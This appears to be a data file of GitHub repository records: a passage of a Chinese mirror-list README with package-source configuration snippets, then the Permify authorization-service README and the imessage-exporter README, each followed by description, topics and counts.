[https://mirror.nyist.edu.cn/deepin/](https://mirror.nyist.edu.cn/deepin/) - 重庆大学 - [https://mirrors.cqu.edu.cn/deepin/](https://mirrors.cqu.edu.cn/deepin/) - 北京外国语大学 - [https://mirrors.bfsu.edu.cn/deepin/](https://mirrors.bfsu.edu.cn/deepin/) - 南京大学 - [https://mirror.nju.edu.cn/deepin/](https://mirror.nju.edu.cn/deepin/) - 华中科技大学 - [https://mirrors.hust.edu.cn/deepin/](https://mirrors.hust.edu.cn/deepin/) 🔝[回到顶部](#thanks-mirror) ### Fedora #### Official - 官方镜像：[https://getfedora.org/en/server/download/](https://getfedora.org/en/server/download/) #### Mirrors - [Aliyun](https://developer.aliyun.com/mirror/fedora) - [https://mirrors.aliyun.com/fedora/](https://mirrors.aliyun.com/fedora/) - Tencent - [https://mirrors.cloud.tencent.com/fedora/](https://mirrors.cloud.tencent.com/fedora/) - HUAWEI - [https://repo.huaweicloud.com/fedora/](https://repo.huaweicloud.com/fedora/) - 火山引擎 - [https://mirrors.volces.com/fedora/](https://mirrors.volces.com/fedora/) - 163 - [http://mirrors.163.com/fedora/](http://mirrors.163.com/fedora/) - Souhu - [http://mirrors.sohu.com/fedora/](http://mirrors.sohu.com/fedora/) - 清华 - [https://mirrors.tuna.tsinghua.edu.cn/fedora/](https://mirrors.tuna.tsinghua.edu.cn/fedora/) - 中科大 - [https://mirrors.ustc.edu.cn/fedora/](https://mirrors.ustc.edu.cn/fedora/) - 浙江大学 - [http://mirrors.zju.edu.cn/fedora/](http://mirrors.zju.edu.cn/fedora/) - 兰州大学 - [https://mirror.lzu.edu.cn/fedora/](https://mirror.lzu.edu.cn/fedora/) - 上海交通 - [http://ftp.sjtu.edu.cn/fedora/](http://ftp.sjtu.edu.cn/fedora/) - 重庆大学 - [https://mirrors.cqu.edu.cn/fedora/](https://mirrors.cqu.edu.cn/fedora/) - 北京外国语大学 - [https://mirrors.bfsu.edu.cn/fedora/](https://mirrors.bfsu.edu.cn/fedora/) - 南京大学 - [https://mirror.nju.edu.cn/fedora/](https://mirror.nju.edu.cn/fedora/) 🔝[回到顶部](#thanks-mirror) ### Alpine #### Official - 官方镜像：[https://dl-cdn.alpinelinux.org/alpine/](https://dl-cdn.alpinelinux.org/alpine/) #### Mirrors - Aliyun - [https://mirrors.aliyun.com/alpine/](https://mirrors.aliyun.com/alpine/) - Tencent - [https://mirrors.cloud.tencent.com/alpine/](https://mirrors.cloud.tencent.com/alpine/) - HUAWEI - [https://repo.huaweicloud.com/alpine/](https://repo.huaweicloud.com/alpine/) - 火山引擎 - [https://mirrors.volces.com/alpine/](https://mirrors.volces.com/alpine/) - 中科大 - [https://mirrors.ustc.edu.cn/alpine/](https://mirrors.ustc.edu.cn/alpine/) - 兰州大学 - [https://mirror.lzu.edu.cn/alpine/](https://mirror.lzu.edu.cn/alpine/) - 重庆大学 - [https://mirrors.cqu.edu.cn/alpine/](https://mirrors.cqu.edu.cn/alpine/) - 北京外国语大学 - [https://mirrors.bfsu.edu.cn/alpine/](https://mirrors.bfsu.edu.cn/alpine/) - 清华大学 - [https://mirrors.tuna.tsinghua.edu.cn/alpine/](https://mirrors.tuna.tsinghua.edu.cn/alpine/) - 上海交大 - [https://mirrors.sjtug.sjtu.edu.cn/alpine/](https://mirrors.sjtug.sjtu.edu.cn/alpine/) - 南方科技大学 - [https://mirrors.sustech.edu.cn/alpine/](https://mirrors.sustech.edu.cn/alpine/) - 北京交通 - [https://mirror.bjtu.edu.cn/alpine/](https://mirror.bjtu.edu.cn/alpine/) - 南京大学 - [https://mirror.nju.edu.cn/alpine/](https://mirror.nju.edu.cn/alpine/) - 华中科技大学 - [https://mirrors.hust.edu.cn/alpine/](https://mirrors.hust.edu.cn/alpine/) 🔝[回到顶部](#thanks-mirror) ### Void #### Official - 官方镜像：[https://voidlinux.org/](https://voidlinux.org/) #### Mirrors - 清华大学 - [https://mirrors.tuna.tsinghua.edu.cn/voidlinux/](https://mirrors.tuna.tsinghua.edu.cn/voidlinux/) - 上海交大 - [https://mirror.sjtu.edu.cn/voidlinux/](https://mirror.sjtu.edu.cn/voidlinux/) - 北京外国语大学 - [https://mirrors.bfsu.edu.cn/voidlinux/](https://mirrors.bfsu.edu.cn/voidlinux/) - 南京大学 - [https://mirror.nju.edu.cn/voidlinux/](https://mirror.nju.edu.cn/voidlinux/) 🔝[回到顶部](#thanks-mirror) ### Gentoo #### Official - 官方镜像：[https://www.gentoo.org/downloads/](https://www.gentoo.org/downloads/) #### Mirrors - [Aliyun](https://developer.aliyun.com/mirror/gentoo) - [https://mirrors.aliyun.com/gentoo/](https://mirrors.aliyun.com/gentoo/) - Tencent - [https://mirrors.cloud.tencent.com/gentoo/](https://mirrors.cloud.tencent.com/gentoo/) - HUAWEI - [https://repo.huaweicloud.com/gentoo/](https://repo.huaweicloud.com/gentoo/) - 163 - [http://mirrors.163.com/gentoo/](http://mirrors.163.com/gentoo/) - Souhu - [http://mirrors.sohu.com/gentoo/](http://mirrors.sohu.com/gentoo/) - 清华 - [https://mirrors.tuna.tsinghua.edu.cn/gentoo/](https://mirrors.tuna.tsinghua.edu.cn/gentoo/) - 中科大 - [https://mirrors.ustc.edu.cn/gentoo/](https://mirrors.ustc.edu.cn/gentoo/) - 浙江大学 - [http://mirrors.zju.edu.cn/gentoo/](http://mirrors.zju.edu.cn/gentoo/) - 兰州大学 - [https://mirror.lzu.edu.cn/gentoo/](https://mirror.lzu.edu.cn/gentoo/) - 北京外国语大学 - [https://mirrors.bfsu.edu.cn/gentoo/](https://mirrors.bfsu.edu.cn/gentoo/) - 上海交通 - [https://mirrors.sjtug.sjtu.edu.cn/gentoo/](https://mirrors.sjtug.sjtu.edu.cn/gentoo/) - 南京大学 - [https://mirror.nju.edu.cn/gentoo/](https://mirror.nju.edu.cn/gentoo/) 🔝[回到顶部](#thanks-mirror) ### kali #### Official - [https://www.kali.org/get-kali/](https://www.kali.org/get-kali/) #### Mirrors - [Aliyun](https://developer.aliyun.com/mirror/kali) - [https://mirrors.aliyun.com/kali/](https://mirrors.aliyun.com/kali/) - Tencent - [https://mirrors.cloud.tencent.com/kali/](https://mirrors.cloud.tencent.com/kali/) - HUAWEI - [https://repo.huaweicloud.com/kali/](https://repo.huaweicloud.com/kali/) - 火山引擎 - [https://mirrors.volces.com/kali/](https://mirrors.volces.com/kali/) - 清华 - [https://mirrors.tuna.tsinghua.edu.cn/kali/](https://mirrors.tuna.tsinghua.edu.cn/kali/) - 中科大 - [https://mirrors.ustc.edu.cn/kali/](https://mirrors.ustc.edu.cn/kali/) - 浙江大学 - [http://mirrors.zju.edu.cn/kali/](http://mirrors.zju.edu.cn/kali/) - 南阳理工 - [https://mirror.nyist.edu.cn/kali/](https://mirror.nyist.edu.cn/kali/) - 大连东软 - [http://mirrors.neusoft.edu.cn/kali/](http://mirrors.neusoft.edu.cn/kali/) - 重庆大学 - [https://mirrors.cqu.edu.cn/kali-images/](https://mirrors.cqu.edu.cn/kali-images/) - 北京外国语大学 - [https://mirrors.bfsu.edu.cn/kali/](https://mirrors.bfsu.edu.cn/kali/) - 上海交通大学 - [https://mirrors.sjtug.sjtu.edu.cn/kali/](https://mirrors.sjtug.sjtu.edu.cn/kali/) - 北京交通 - [https://mirror.bjtu.edu.cn/kali/](https://mirror.bjtu.edu.cn/kali/) - 西北农林科技大学 - [https://mirrors.nwsuaf.edu.cn/kali/](https://mirrors.nwsuaf.edu.cn/kali/) - 南京大学 - [https://mirror.nju.edu.cn/kali/](https://mirror.nju.edu.cn/kali/) - 华中科技大学 - [https://mirrors.hust.edu.cn/kali/](https://mirrors.hust.edu.cn/kali/) 🔝[回到顶部](#thanks-mirror) ### Opensuse #### Official - [https://get.opensuse.org/zh-CN/](https://get.opensuse.org/zh-CN/) #### Mirrors - [Aliyun](https://developer.aliyun.com/mirror/opensuse) - [https://mirrors.aliyun.com/opensuse/](https://mirrors.aliyun.com/opensuse/) - Tencent - [https://mirrors.cloud.tencent.com/opensuse/](https://mirrors.cloud.tencent.com/opensuse/) - HUAWEI - [https://repo.huaweicloud.com/opensuse/](https://repo.huaweicloud.com/opensuse/) - 火山引擎 - [https://mirrors.volces.com/opensuse/](https://mirrors.volces.com/opensuse/) - Souhu - [http://mirrors.sohu.com/opensuse/](http://mirrors.sohu.com/opensuse/) - 北大 - [https://mirrors.pku.edu.cn/opensuse/](https://mirrors.pku.edu.cn/opensuse/) - 中科大 - [https://mirrors.ustc.edu.cn/opensuse/](https://mirrors.ustc.edu.cn/opensuse/) - 兰州大学 - [https://mirror.lzu.edu.cn/opensuse/](https://mirror.lzu.edu.cn/opensuse/) - 上海交通 - [http://ftp.sjtu.edu.cn/opensuse/](http://ftp.sjtu.edu.cn/opensuse/) - 首都在线 - [http://mirrors.yun-idc.com/opensuse/](http://mirrors.yun-idc.com/opensuse/) - 重庆大学 - [https://mirrors.cqu.edu.cn/opensuse/](https://mirrors.cqu.edu.cn/opensuse/) - 重庆大学 - [https://mirrors.cqu.edu.cn/opensuse/](https://mirrors.cqu.edu.cn/opensuse/) - 南方科技大学 - [https://mirrors.sustech.edu.cn/opensuse/](https://mirrors.sustech.edu.cn/opensuse/) - 北京外国语大学 - [https://mirrors.bfsu.edu.cn/opensuse/](https://mirrors.bfsu.edu.cn/opensuse/) - 北京交通 - [https://mirror.bjtu.edu.cn/opensuse/](https://mirror.bjtu.edu.cn/opensuse/) - 南京大学 - [http://mirror.nju.edu.cn/opensuse/](http://mirror.nju.edu.cn/opensuse/) 🔝[回到顶部](#thanks-mirror) ### FreeBSD #### Official - [https://download.FreeBSD.org/](https://download.FreeBSD.org/) #### Mirrors 注意：FreeBSD 有四类源：pkg、ports、portsnap、update。不是所有镜像站都同时支持上述四类源。目前在大陆境内没有官方镜像站，以下均为非官方镜像站。 ##### pkg 源：pkg 源提供二进制安装包 pkg 的下载路径是 `/var/cache/pkg/` FreeBSD 中 pkg 源分为系统级和用户级两个配置文件。不建议直接修改 `/etc/pkg/FreeBSD.conf` ,因为该文件会随着基本系统的更新而发生改变。创建用户级源目录: 　　 ``` # mkdir -p /usr/local/etc/pkg/repos ``` ###### 网易开源镜像站创建用户级源文件: ``` # ee /usr/local/etc/pkg/repos/163.conf ``` 写入以下内容: ``` 163: { url: "pkg+http://mirrors.163.com/freebsd-pkg/${ABI}/quarterly", mirror_type: "srv", signature_type: "none", fingerprints: "/usr/share/keys/pkg", enabled: yes } FreeBSD: { enabled: no } ``` >故障排除 > >若要获取滚动更新的包，请将 `quarterly` 修改为 `latest`。二者区别见 [FreeBSD 手册](https://handbook.bsdcn.org)。请注意, `CURRENT` 版本只有 `latest`： > >``` ># sed -i '' 's/quarterly/latest/g' /etc/pkg/FreeBSD.conf >``` >若要使用 https，请先安装 `security/ca_root_nss`，并将 `http` 修改为 `https`，最后使用命令 `# pkg update -f` 刷新缓存即可。 ###### 中国科学技术大学开源软件镜像站创建用户级源文件: ``` # ee /usr/local/etc/pkg/repos/ustc.conf ``` 写入以下内容: ``` ustc: { url: "pkg+http://mirrors.ustc.edu.cn/freebsd-pkg/${ABI}/quarterly", mirror_type: "srv", signature_type: "none", fingerprints: "/usr/share/keys/pkg", enabled: yes } FreeBSD: { enabled: no } ``` ###### 南京大学开源镜像站 ``` # ee /usr/local/etc/pkg/repos/nju.conf ``` 写入以下内容: ``` nju: { url: "pkg+http://mirrors.nju.edu.cn/freebsd-pkg/${ABI}/quarterly", mirror_type: "srv", signature_type: "none", fingerprints: "/usr/share/keys/pkg", enabled: yes } FreeBSD: { enabled: no } ``` ###### FreeBSD.cn ``` # ee /usr/local/etc/pkg/repos/freebsdcn.conf ``` 写入以下内容: ``` freebsdcn: { url: "pkg+http://pkg.freebsd.cn/${ABI}/quarterly", mirror_type: "srv", signature_type: "none", fingerprints: "/usr/share/keys/pkg", enabled: yes } FreeBSD: { enabled: no } ``` ##### ports 源：以源代码方式安装软件的包管理器 >ports 下载路径是 `/usr/ports/distfiles`。 > >警告 > >只有 freebsd.cn 镜像站的 ports 镜像是完整的，其余的大概只镜像了不到十分之一。请优先考虑使用 FreeBSD.cn。见 <https://github.com/ustclug/discussions/issues/408>。 ###### FreeBSD.cn（推荐）创建或修改文件 `# ee /etc/make.conf`: 写入以下内容（注意结尾的 / 是必须的！下同）: `MASTER_SITE_OVERRIDE?=http://ports.freebsd.cn/ports-distfiles/${DIST_SUBDIR}/` ###### 网易开源镜像站（该镜像不完整）创建或修改文件 `# ee /etc/make.conf`: 写入以下内容: `MASTER_SITE_OVERRIDE?=http://mirrors.163.com/freebsd-ports/distfiles/${DIST_SUBDIR}/` ###### 中国科学技术大学开源软件镜像站（该镜像不完整）创建或修改文件 `# ee /etc/make.conf`: 写入以下内容: `MASTER_SITE_OVERRIDE?=http://mirrors.ustc.edu.cn/freebsd-ports/distfiles/${DIST_SUBDIR}/` ##### portsnap 源：打包的 ports 文件 ###### FreeBSD.cn 编辑 portsnap 配置文件 `# ee /etc/portsnap.conf` : 将 `SERVERNAME=portsnap.FreeBSD.org` 修改为 `SERVERNAME=portsnap.FreeBSD.cn` ##### freebsd-update 源：提供基本系统更新 >注意：只有一级架构的 release 版本才提供该源。也就是说 current 和 stable 是没有 freebsd-update 源的。 >关于架构的支持等级说明请看： > >[https://www.freebsd.org/platforms](https://www.freebsd.org/platforms) ###### FreeBSD.cn 编辑 `# ee /etc/freebsd-update.conf` 文件: 将 `ServerName update.FreeBSD.org` 修改为 `ServerName update.FreeBSD.cn` 🔝[回到顶部](#thanks-mirror) ### GNU #### Official - [https://www.gnu.org/software/octave/download](https://www.gnu.org/software/octave/download) #### Mirrors - [Aliyun](https://developer.aliyun.com/mirror/gnu) - [https://mirrors.aliyun.com/gnu/](https://mirrors.aliyun.com/gnu/) - Tencent - [https://mirrors.cloud.tencent.com/gnu/](https://mirrors.cloud.tencent.com/gnu/) - HUAWEI - [https://repo.huaweicloud.com/gnu/](https://repo.huaweicloud.com/gnu/) - 火山引擎 - [https://mirrors.volces.com/gnu/](https://mirrors.volces.com/gnu/) - 清华 - [https://mirrors.tuna.tsinghua.edu.cn/gnu/](https://mirrors.tuna.tsinghua.edu.cn/gnu/) - 中科大 - [https://mirrors.ustc.edu.cn/gnu/](https://mirrors.ustc.edu.cn/gnu/) - 兰州大学 - [https://mirror.lzu.edu.cn/gnu/](https://mirror.lzu.edu.cn/gnu/) - 北京交通 - [https://mirror.bjtu.edu.cn/gnu/](https://mirror.bjtu.edu.cn/gnu/) - 南京大学 - [https://mirror.nju.edu.cn/gnu/](https://mirror.nju.edu.cn/gnu/) 🔝[回到顶部](#thanks-mirror) ## Other-Mirror ### Docker-hub 没有整理Docker-hub的镜像的原因是，鉴于这种仓库的特殊性，国内也确实没有一家将之全站镜像的，果真如此，倒也并不科学了。不过关于Docker-hub以及GitHub的使用，又的确会经常遇到网络方面的问题，因此也一直在留心这方面的解决方案，目前大多是提供加速的方案，算是镜像方案之下的一个折中策略。 #### Official - [https://hub.docker.com/](https://hub.docker.com/) 其他的镜像仓库不再单独列出。 #### Mirrors 方案一： `使用方式：` 使用方式都是替换原来镜像的前缀域名即可实现加速效果，比如： ``` 原来地址： eryajf/centos:7.4 # 这个是官方镜像，省略了前边的域名替换地址： docker.mirrors.sjtug.sjtu.edu.cn/eryajf/centos:7.4 ``` 另外，加速通常只是针对某个源站进行的加速，国外对公开放的docker仓库并非官方一家，因此这里就以源站的维度进行区分，整理出经过测试可用的加速站。 - Docker-hub - 上海交通大学 - docker.mirrors.sjtug.sjtu.edu.cn - [中科大](https://mirrors.ustc.edu.cn/help/dockerhub.html) - docker.mirrors.ustc.edu.cn - [docker proxy](https://dockerproxy.com/) - dockerproxy.com - gcr.io - 南京大学 - gcr.nju.edu.cn - [docker proxy](https://dockerproxy.com/) - gcr.dockerproxy.com - [lank8s](https://github.com/lank8s)：后期可能会转成付费 - gcr.lank8s.cn - k8s.gcr.io - 上海交通大学 - k8s-gcr-io.mirrors.sjtug.sjtu.edu.cn - 南京大学 - gcr.nju.edu.cn/google-containers - [docker proxy](https://dockerproxy.com/) - k8s.dockerproxy.com - [lank8s](https://github.com/lank8s) - lank8s.cn - ghcr.io - [docker proxy](https://dockerproxy.com/) - ghcr.dockerproxy.com - 南京大学 - ghcr.nju.edu.cn - quay.io - 中科大 - quay.mirrors.ustc.edu.cn - 南京大学 - quay.nju.edu.cn - nvcr.io - 南京大学 - ngc.nju.edu.cn - 其他 - [https://github.com/DaoCloud/public-image-mirror](https://github.com/DaoCloud/public-image-mirror) 方案二：还有一种方案是通过将加速地址写入到docker配置文件当中实现加速。在 `/etc/docker/daemon.json` 中写入如下内容（如果文件不存在请新建该文件）： ```json { "registry-mirrors": [ "https://hub-mirror.c.163.com", "https://mirror.baidubce.com" ] } ``` 注意，一定要保证该文件符合 json 规范，否则 Docker 将不能启动。之后重新启动服务。 ```sh $ sudo systemctl daemon-reload $ sudo systemctl restart docker ``` 目前可用的加速地址有： - 网易 - [http://hub-mirror.c.163.com](http://hub-mirror.c.163.com) - ustc - [https://docker.mirrors.ustc.edu.cn](https://docker.mirrors.ustc.edu.cn) - 百度云 - [https://mirror.baidubce.com/](https://mirror.baidubce.com/) 🔝[回到顶部](#thanks-mirror) ### GitHub #### Official - [https://github.com](https://github.com) #### Mirrors GitHub相关的国内镜像，有不同的使用方式，这里仅列出目前可用的国内镜像，具体用法请查阅镜像的官方说明。 - [https://gitclone.com/](https://gitclone.com/) 提供了GitHub全面的加速，详见[官方文档](https://gitclone.com/docs/feature/gitclone_web)。 - [https://mirror.ghproxy.com/](https://mirror.ghproxy.com/) GitHub 文件 , Releases , archive , gist , raw.githubusercontent.com 文件代理加速下载服务，使用细则参见官方。 - [https://toolwa.com/github/](https://toolwa.com/github/) - [https://gh.con.sh/](https://gh.con.sh/) 与油猴脚本效果一致，只是通过插件的形式安装配置。 🔝[回到顶部](#thanks-mirror) ### Google #### Official - [https://www.google.cn/](https://www.google.cn/) - [https://www.google.com/](https://www.google.com/) - [https://www.google.com.hk/](https://www.google.com.hk/) #### Mirrors 目前所能使用到的，基本上都是一些加速方案，而且并不十分稳定。 - 目前来看还不错的 - [https://xgoogle.xyz/](https://xgoogle.xyz/) 🔝[回到顶部](#thanks-mirror) ### Nix #### Official - [nixos.org](https://nixos.org/) #### Mirrors - 清华 - [https://mirror.tuna.tsinghua.edu.cn/help/nix](https://mirror.tuna.tsinghua.edu.cn/help/nix) - 中国科学技术大学 - [https://mirrors.ustc.edu.cn/nix-channels](https://mirrors.ustc.edu.cn/nix-channels) - ISCAS - [https://mirror.iscas.ac.cn/nix/](https://mirror.iscas.ac.cn/nix/) - 校园网联合镜像站 - [https://mirrors.cernet.edu.cn/list/nix](https://mirrors.cernet.edu.cn/list/nix) 🔝[回到顶部](#thanks-mirror) ## 如何贡献欢迎大家补充优秀的镜像，让我们一起建设好这个仓库！贡献内容只需要注意目录的层级与原有内容格式对齐，术业有专攻，大家提交的镜像，最好都是有经过测试验证的！ ## 贡献者 <!-- readme: collaborators,contributors -start --> <table> <tr> <td align="center"> <a href="https://github.com/eryajf"> <img src="https://avatars.githubusercontent.com/u/33259379?v=4" width="100;" alt="eryajf"/> <br /> <sub><b>二丫讲梵</b></sub> </a> </td> <td align="center"> <a href="https://github.com/ykla"> <img src="https://avatars.githubusercontent.com/u/10327999?v=4" width="100;" alt="ykla"/> <br /> <sub><b>Ykla</b></sub> </a> </td> <td align="center"> <a href="https://github.com/yanecc"> <img src="https://avatars.githubusercontent.com/u/89304297?v=4" width="100;" alt="yanecc"/> <br /> <sub><b>Sunrise</b></sub> </a> </td> <td align="center"> <a href="https://github.com/poplar-at-twilight"> <img src="https://avatars.githubusercontent.com/u/87272716?v=4" width="100;" alt="poplar-at-twilight"/> <br /> <sub><b>Poplar At Twilight</b></sub> </a> </td> <td align="center"> <a href="https://github.com/colinxu2020"> <img src="https://avatars.githubusercontent.com/u/63941938?v=4" width="100;" alt="colinxu2020"/> <br /> <sub><b>Colinxu2020</b></sub> </a> </td> <td align="center"> <a href="https://github.com/danbai225"> <img src="https://avatars.githubusercontent.com/u/40517872?v=4" width="100;" alt="danbai225"/> <br /> <sub><b>淡白</b></sub> </a> </td></tr> <tr> <td align="center"> <a href="https://github.com/Goojoe"> <img src="https://avatars.githubusercontent.com/u/78355492?v=4" width="100;" alt="Goojoe"/> <br /> <sub><b>咕咕乔</b></sub> </a> </td> <td align="center"> <a href="https://github.com/jingjingxyk"> <img src="https://avatars.githubusercontent.com/u/6836228?v=4" width="100;" alt="jingjingxyk"/> <br /> <sub><b>好吧，你想说啥</b></sub> </a> </td> <td align="center"> <a href="https://github.com/hoochanlon"> <img src="https://avatars.githubusercontent.com/u/35732922?v=4" width="100;" alt="hoochanlon"/> <br /> <sub><b>菠萝包趣多多</b></sub> </a> </td></tr> </table> <!-- readme: collaborators,contributors -end --> 🔝[回到顶部](#thanks-mirror)	整理记录各个包管理器，系统镜像，以及常用软件的好用镜像，Thanks Mirror。走过路过，如觉不错，麻烦点个赞👆🌟	maven-repository,mirrored-repository,mirrors,golang-repository,pypi-mirror,yum-repos,software,eryajf	0	9	20	176	164	2	4
Permify/permify	<h1 align="center"> <img src="https://raw.githubusercontent.com/Permify/permify/master/assets/permify-logo.svg" alt="Permify logo" width="336px" /><br /> Permify - Open Source Fine-Grained Authorization </h1> <p align="center"> Seamlessly implement fine-grained, scalable and extensible authorization within minutes to days instead of months. </p> <p align="center"> <a href="https://github.com/Permify/permify" target="_blank"><img src="https://img.shields.io/github/go-mod/go-version/Permify/permify?style=for-the-badge&logo=go" alt="Permify Go Version" /></a>  <a href="https://goreportcard.com/report/github.com/Permify/permify" target="_blank"><img src="https://goreportcard.com/badge/github.com/Permify/permify?style=for-the-badge&logo=go" alt="Permify Go Report Card" /></a>  <a href="https://github.com/Permify/permify" target="_blank"><img src="https://img.shields.io/github/license/Permify/permify?style=for-the-badge" alt="Permify Licence" /></a>  <a href="https://discord.gg/n6KfzYxhPp" target="_blank"><img src="https://img.shields.io/discord/950799928047833088?style=for-the-badge&logo=discord&label=DISCORD" alt="Permify Discord Channel" /></a>  <a href="https://github.com/Permify/permify/pkgs/container/permify" target="_blank"><img src="https://img.shields.io/github/v/release/permify/permify?include_prereleases&style=for-the-badge" alt="Permify Release" /></a>  <a href="https://img.shields.io/github/commit-activity/m/Permify/permify?style=for-the-badge" target="_blank"><img src="https://img.shields.io/github/commit-activity/m/Permify/permify?style=for-the-badge" alt="Permify Commit Activity" /></a>  <a href="https://img.shields.io/github/actions/workflow/status/Permify/permify/release.yml?style=for-the-badge" target="_blank"><img src="https://img.shields.io/github/actions/workflow/status/Permify/permify/release.yml?style=for-the-badge" alt="GitHub Workflow Status" /></a>  <a href="https://scrutinizer-ci.com/g/Permify/permify/?branch=master" target="_blank"><img src="https://img.shields.io/scrutinizer/quality/g/Permify/permify/master?style=for-the-badge" alt="Scrutinizer code quality (GitHub/Bitbucket)" /></a>  <a href='https://coveralls.io/github/Permify/permify?branch=master'><img alt="Coveralls" src="https://img.shields.io/coverallsCoverage/github/Permify/permify?style=for-the-badge"></a> </p> ![Permify - Open source authorization as a service](https://github.com/Permify/permify/assets/39353278/06262e07-84ba-4a1c-b859-870344396600) ## Join Our Team Permify is on the lookout for engineers eager to tackle challenges in authorization. Join us! <a href="http://permify.co/company/career/" target="_blank"><img src="https://img.shields.io/badge/We%20Are%20Hiring!-blue?style=for-the-badge" alt="We are hiring" /></a>  ## What is Permify? [Permify](https://github.com/Permify/permify) is an open-source authorization service for easily building and managing fine-grained, scalable, and extensible access controls for your applications and services. Inspired by Google’s consistent, global authorization system, [Google Zanzibar](https://storage.googleapis.com/pub-tools-public-publication-data/pdf/41f08f03da59f5518802898f68730e247e23c331.pdf) Our service makes authorization more secure and adaptable to changing needs, allowing you to get it up and running in just a few minutes to a couple of days—no need to spend months building out entire piece of infrastructure. ### With Permify, you can: 🔮 Create permissions and policies using domain specific language that is compatible with traditional roles and permissions (RBAC), arbitrary relations between users and objects (ReBAC), and dynamic attributes (ABAC). 🔐 Set up isolated authorization logic and custom permissions for your applications/organizations (tenants) and manage them in a single place. ✅ Interact with the Permify API to perform access checks, filter your resources with specific permissions, perform bulk permission checks for various resources, and more! 🧪 Abstract your authorization logic from app logic to enhance visibility, observability, and testability of your authorization system. ## Getting Started - Follow a guide to model your authorization using [Permify's Authorization Language]. - See our [Playground], build your authorization logic and test it with sample data. - Explore overview of [Permify API] and learn how to interact with it. - See [our article] to examine [Google Zanzibar](https://storage.googleapis.com/pub-tools-public-publication-data/pdf/41f08f03da59f5518802898f68730e247e23c331.pdf) in a nutshell. [Permify's Authorization Language]: https://docs.permify.co/getting-started/modeling [playground]: https://play.permify.co/ [Permify API]: https://docs.permify.co/api-reference [our article]: https://permify.co/post/google-zanzibar-in-a-nutshell ### QuickStart You can quickly start Permify on your local with running the docker command below: ```shell docker run -p 3476:3476 -p 3478:3478 ghcr.io/permify/permify serve ``` This will start Permify with the default configuration options: * Port 3476 is used to serve the REST API. * Port 3478 is used to serve the GRPC Service. * Authorization data stored in memory. See [all of the options] that you can use to set up and deploy Permify in your servers. [all of the options]: https://docs.permify.co/setting-up #### Test your connection You can test your connection with creating an GET request, ```shell localhost:3476/healthz ``` ## Community ♥️ We would love to hear from you! Get the latest product updates, receive immediate assistance from our team members, and feel free to ask any questions about Permify or authorization in a broader context by joining our conversation on Discord! <a href="https://discord.gg/n6KfzYxhPp" target="_blank"><img src="https://img.shields.io/badge/Join%20Our%20Discord!-blueviolet?style=for-the-badge" alt="Join Our Discord" /></a>  ## Contributing The open source community thrives on contributions, offering an incredible space for learning, inspiration, and creation. Your contributions are immensely valued and appreciated! Here are the ways to contribute to Permify: * Contribute to codebase: We're collaboratively working with our community to make Permify the best it can be! You can develop new features, fix existing issues or make third-party integrations/packages. * Improve documentation: Alongside our codebase, documentation one of the most significant part in our open-source journey. We're trying to give the best DX possible to explain ourselves and Permify. And you can help on that with importing resources or adding new ones. * Contribute to playground: Permify playground allows you to visualize and test your authorization logic. You can contribute to our playground by improving its user interface, fixing glitches, or adding new features. ### Bounties [![Open Bounties](https://img.shields.io/endpoint?url=https%3A%2F%2Fconsole.algora.io%2Fapi%2Fshields%2Fpermify%2Fbounties%3Fstatus%3Dopen&style=for-the-badge)](https://console.algora.io/org/permify/bounties?status=open) We have a list of [issues](https://github.com/Permify/permify/labels/%F0%9F%92%8E%20Bounty) where you can contribute and gain bounty award! Bounties will be awarded for fixing issues via accepted Pull Requests (PR). Before start please see our [contributing guide](https://github.com/Permify/permify/blob/master/CONTRIBUTING.md). ## Roadmap You can find Permify's Public Roadmap [here](https://github.com/orgs/Permify/projects/1)! ## Contributors ♥️ <a href="https://github.com/permify/Permify/graphs/contributors"> <img src="https://contrib.rocks/image?repo=permify/Permify&anon=1" /> </a> ## Communication Channels If you like Permify, please consider giving us a :star: <p align="left"> <a href="https://discord.gg/n6KfzYxhPp"> <img height="70px" width="70px" alt="permify \| Discord" src="https://user-images.githubusercontent.com/39353278/187209316-3d01a799-c51b-4eaa-8f52-168047078a14.png" /> </a> <a href="https://twitter.com/GetPermify"> <img height="70px" width="70px" alt="permify \| Twitter" src="https://user-images.githubusercontent.com/39353278/187209323-23f14261-d406-420d-80eb-1aa707a71043.png"/> </a> <a href="https://www.linkedin.com/company/permifyco"> <img height="70px" width="70px" alt="permify \| Linkedin" src="https://user-images.githubusercontent.com/39353278/187209321-03293a24-6f63-4321-b362-b0fc89fdd879.png" /> </a> </p>	Open source authorization service inspired by Google Zanzibar to build fine-grained and scalable authorization systems.	access-control,authorization,rbac,rebac,zanzibar,acl,golang,permissions,security,distributed	75	43	1,126	2,980	35	75	10
ReagentX/imessage-exporter	# imessage-exporter This crate provides both a library to interact with iMessage data as well as a binary that can perform some useful read-only operations using that data. ![HTML Export Sample](/docs/hero.png) ## Binary The `imessage-exporter` binary exports iMessage data to `txt` or `html` formats. It can also run diagnostics to find problems with the iMessage database. Installation instructions for the binary are located [here](imessage-exporter/README.md). ## Library The `imessage_database` library provides models that allow us to access iMessage information as native data structures. Documentation for the library is located [here](imessage-database/README.md). ### Supported Features This crate supports every iMessage feature as of macOS 14.5 (23F79) and iOS 17.5.1 (21F90): - Multi-part messages - Replies/Threads - Attachments - Expressives - Reactions - Stickers - Apple Pay - URL Previews - App Integrations - Edited messages See more detail about supported features [here](docs/features.md). ## Frequently Asked Questions The FAQ document is located [here](/docs/faq.md). ## Special Thanks - All of my friends, for putting up with me sending them random messages to test things - [SQLiteFlow](https://www.sqliteflow.com), the SQL viewer I used to explore and reverse engineer the iMessage database - [Xplist](https://github.com/ic005k/Xplist), an invaluable tool for reverse engineering the `payload_data` plist format - [Compart](https://www.compart.com/en/unicode/), an amazing resource for looking up esoteric unicode details	Export iMessage data + run iMessage Diagnostics	apple,backup,cli-app,export,imessage,reverse-engineering	20	6	109	1,096	8	3	1
